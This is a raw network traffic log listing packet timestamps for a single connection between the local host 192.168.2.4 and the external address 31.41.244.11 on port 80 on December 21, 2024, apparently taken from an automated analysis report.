                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.060744047 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.061110973 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.061486959 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.061624050 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.061625004 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.061700106 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.062427044 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.062491894 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.063373089 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.063390017 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.063405991 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.063414097 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.063446999 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.063446999 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.064349890 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.064419031 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.064435959 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.064521074 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.065356970 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.065496922 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.065527916 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.066205978 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.066334009 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.066368103 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.066620111 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.067188978 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.067286015 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.067413092 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.068111897 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.068129063 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.068257093 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.069046021 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.069154024 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.069363117 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.069525957 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.070024967 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.070203066 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.070230007 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.070302963 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.070971012 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.071065903 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.071244001 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.071363926 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.071989059 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.072006941 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.072077036 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.072848082 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.072998047 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.073026896 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.073103905 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.073762894 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.073826075 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.073868990 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.073956013 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.074755907 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.074850082 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.074906111 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.075700045 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.075875044 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.076248884 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.076623917 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.076669931 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.076698065 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.077574015 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.077740908 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.078576088 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.078593016 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.078629017 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.078658104 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.078747034 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.079447031 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.079731941 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.079865932 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.080183029 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.080410004 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.080492020 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.080569029 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.080652952 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.081387043 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.081489086 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.081525087 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.081589937 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.082274914 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.082360029 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.082803965 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.082871914 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.083235025 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.083281994 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.083435059 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.083499908 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.084202051 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.084270954 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.084362030 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.084424019 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.085118055 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.085186005 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.085365057 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.085427046 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.086082935 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.086138010 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.086493015 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.086549044 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.087011099 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.087073088 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.087253094 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.087408066 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.087954044 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.088040113 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.088773012 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.088871956 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.088936090 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.088953018 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.089009047 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.089009047 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.089874983 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.089939117 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.090126038 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.090203047 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.090790033 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.090863943 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.091078997 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.091140032 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.091854095 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.092041016 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.092160940 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.092344046 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.092703104 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.092788935 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.092888117 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.093010902 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.093616009 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.093784094 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.093903065 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.094595909 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.094753027 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.237293959 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.237457037 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.237461090 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.237596035 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.237680912 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.237731934 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.237919092 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.238616943 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.238826036 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.238859892 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.239042044 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.239662886 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.239770889 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.239805937 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.239897013 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.240498066 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.240593910 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.240669966 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.240900040 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.241424084 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.241544008 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.241682053 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.241878033 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.242394924 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.242505074 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.242510080 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.242655993 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.243344069 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.243459940 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.243657112 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.244021893 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.244270086 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.244456053 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.244476080 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.244549990 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.245240927 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.245291948 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.245412111 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.246159077 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.246299982 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.246316910 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.246459007 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.247219086 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.247369051 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.247507095 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.248156071 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.248249054 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.248325109 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.248399973 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.249042034 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.249145031 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.249200106 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.249385118 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.249970913 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.250034094 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.250097036 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.250231028 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.251115084 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.251189947 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.251286983 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.252320051 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.252424002 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.252533913 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.252731085 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.253901005 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.254003048 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.254033089 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.254112005 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.254786968 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.254864931 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.254926920 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.254985094 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.255711079 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.255877018 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.255887985 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.256047010 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.256458998 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.256547928 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.256664038 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.256732941 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.257487059 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.257704020 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.257730961 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.257775068 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.258394957 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.258613110 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.258691072 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.258764982 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.259242058 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.259293079 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.259331942 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.259494066 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.260135889 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.260247946 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.260582924 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.260941982 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.261018991 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.261054039 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.261089087 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.261146069 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.261766911 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.261893034 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.261969090 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.262257099 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.263483047 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.263570070 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.263817072 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.263921022 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.264252901 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.264333963 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.264363050 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.264520884 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.265126944 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.265309095 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.265316963 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.265424013 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.265921116 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.266001940 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.266216040 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.266360044 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.266767979 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.266855001 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.267142057 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.267368078 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.267539978 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.267615080 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.267687082 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:25.267802954 CET4978780192.168.2.431.41.244.11
